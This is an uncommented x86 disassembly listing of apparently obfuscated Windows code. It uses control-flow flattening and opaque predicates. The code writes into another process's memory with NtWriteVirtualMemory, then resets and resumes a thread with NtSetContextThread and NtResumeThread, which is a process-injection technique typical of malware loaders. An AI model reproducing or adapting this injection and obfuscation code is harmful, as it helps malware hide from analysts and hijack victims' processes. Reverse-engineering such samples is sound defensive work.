jmp 0x1000eee1
mov dword [ebp - 0x1b4], 0x5779c611
jmp 0x1000eee1
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5f9aa550
mov ecx, 0x83ef93a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [ebp - 0x184]
mov eax, dword [ebp - 0x180]
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5f9aa550
mov ecx, 0x5fafa028
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0x5a49dce9
sub edx, 1
add edx, 0x5a49dce9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6b5cd7d6
mov ecx, 0xb61aa017
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x170]
mov eax, dword [ebp - 0xd8]
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0xae7dbff2
sub edx, 1
add edx, 0xae7dbff2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6b5cd7d6
mov ecx, 0xa3345113
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov dword [ebp - 0x1b4], 0xc8dabb0c
jmp 0x1000eee1
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x1b4], 0xdf801f5b
jmp 0x1000eee1
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
add ecx, 0x5027422c
add ecx, 8
sub ecx, 0x5027422c
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x194]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x1b4], 0x971b127b
jmp 0x1000eee1
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x6c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x1b4], 0x6d79f22c
jmp 0x1000eee1
mov dword [ebp - 0x1b4], 0x826ea70a
jmp 0x1000eee1
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xf0]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
mov dword [ebp - 0x1b4], 0x2ceda399
jmp 0x1000eee1
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x184]
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x1b4], 0xb673cdca
jmp 0x1000eee1
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x1b4], 0x1ff78ff1
jmp 0x1000eee1
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov dword [ebp - 0x1b4], 0x85ac7833
jmp 0x1000eee1
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x194]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x1b4], 0x8a9c24f0
jmp 0x1000eee1
mov dword [ebp - 0x1b4], 0xbb2a57c4
jmp 0x1000eee1
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x1b4], 0x6700018
jmp 0x1000eee1
mov dword [ebp - 0x1b4], 0x6e95ebec
jmp 0x1000eee1
mov dword [ebp - 0x1b4], 0x13f52d9f
jmp 0x1000eee1
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x1b4], 0x1634bb93
jmp 0x10008090